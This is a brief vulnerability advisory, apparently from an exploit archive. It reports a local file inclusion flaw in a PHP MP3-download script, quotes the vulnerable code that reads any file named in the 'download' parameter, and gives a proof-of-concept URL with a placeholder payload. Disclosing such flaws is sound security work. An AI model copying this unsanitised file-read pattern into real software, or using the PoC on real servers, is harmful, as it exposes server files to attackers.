[-] Title : Load MP3 Form - Local File Inclusion
[-] Author : Shahab Shamsi
[-] Vendor : https://github.com/daveismyname/Load-MP3-s-from-a-folder
[-] Category : Webapps
[-] Date : 06.September.2016
Vulnerable page :
/Load-MP3-s-from-a-folder/index.php
Vulnerable Source :
$file = $dirname.$_GET['download'];
header ("Content-type: octet/stream");
header ("Content-disposition: attachment; filename=".$file.";");
header("Content-Length: ".filesize($file));
readfile($file);
exit;
POC :
http://localhost/pach/Load-MP3-s-from-a-folder/index.php?download=[LFI]
************************
* ==> Contact Me :
* Telegram : @R4DIK4L
* Email : info@securityman.org
* WebSilte : WwW.MohitAmn.Org
* Tnx : AmirHossein Farjad
************************
